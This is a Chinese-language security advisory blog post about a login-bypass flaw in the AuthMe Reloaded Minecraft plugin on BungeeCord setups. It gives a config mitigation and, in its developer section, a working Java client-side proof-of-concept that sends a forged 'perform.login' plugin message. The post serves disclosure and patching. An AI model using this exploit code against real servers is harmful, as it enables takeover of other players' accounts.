【紧急】7月3日披露Authme存在绕登录漏洞(包括最新版)

【紧急】7月3日披露Authme存在绕登录漏洞(包括最新版)

前言 五小时前,墨守大佬在AuthmeReload项目仓库提交了一份关于绕过Authme登录的Issure。在墨守上传的视频当中可以清楚看到,通过某些作弊客户端可以轻松在BC(BungeeCord)绕过登录从而登录任何账号。(视频链接) Issure地址:https://github.com/Aut

前言

五小时前,墨守大佬在AuthmeReload项目仓库提交了一份关于绕过Authme登录的Issure。在墨守上传的视频当中可以清楚看到,通过某些作弊客户端可以轻松在BC(BungeeCord)绕过登录从而登录任何账号。(视频链接
Issure地址:https://github.com/AuthMe/AuthMeReloaded/issues/2571

原理

客户端伪装BC端发送假数据包,欺骗Authme插件完成登陆
Authme绕过登录图
上方图片来源于落花雨大佬进行的BUG复现。

修复

推荐使用最新版插件并且在你的服务端Authme的config.yml中设置Hooks.bungeecord: false即可避免此BUG。
相关配置文件:

Hooks:
# Do we need to hook with BungeeCord?
bungeecord: false

当然,玩家在切换每一个子服的时候都需要使用命令/login进行重新登录。但是请相信,这个BUG将会很快修复....
(当然,你也可以使用屏蔽掉Authme所有的数据包临时进行修复。)

相关代码

以下内容来自落花雨大佬,如果你是普通服主,上面的内容就足够对漏洞进行修复了。下面是开发者看的东西(/ω\)

    public void onUse() {
    try {
        PacketBuffer buffer1 = new PacketBuffer(Unpooled.buffer());
        buffer1.writeString("BungeeCord");
        Minecraft.getMinecraft().player.connection.sendPacket(new CPacketCustomPayload("REGISTER", buffer1));

        ByteArrayOutputStream buffer2 = new ByteArrayOutputStream();
        DataOutputStream out = new DataOutputStream(buffer2);
        out.writeUTF("AuthMe.v2");
        out.writeUTF("perform.login");
        out.writeUTF(Minecraft.getMinecraft().player.getName());

        PacketBuffer buffer3 = new PacketBuffer(Unpooled.buffer());
        buffer3.writeBytes(buffer2.toByteArray());
        Minecraft.getMinecraft().player.connection.sendPacket(new CPacketCustomPayload("BungeeCord", buffer3));
    } catch (Exception e) {
        if (ModuleDebug.enable) e.printStackTrace();
    }
}

解决方案:

  1. 检查org.spigotmc.SpigotConfig.bungee是否启用
  2. 如果通过插件消息登录,请重新验证玩家密码

后记

本文原创,未经本人许可不可以任何形式进行转载。
我将会对本漏洞进行持续跟踪。
本文最后编辑于2022.7.3 16:30

LICENSED UNDER CC BY-NC-SA 4.0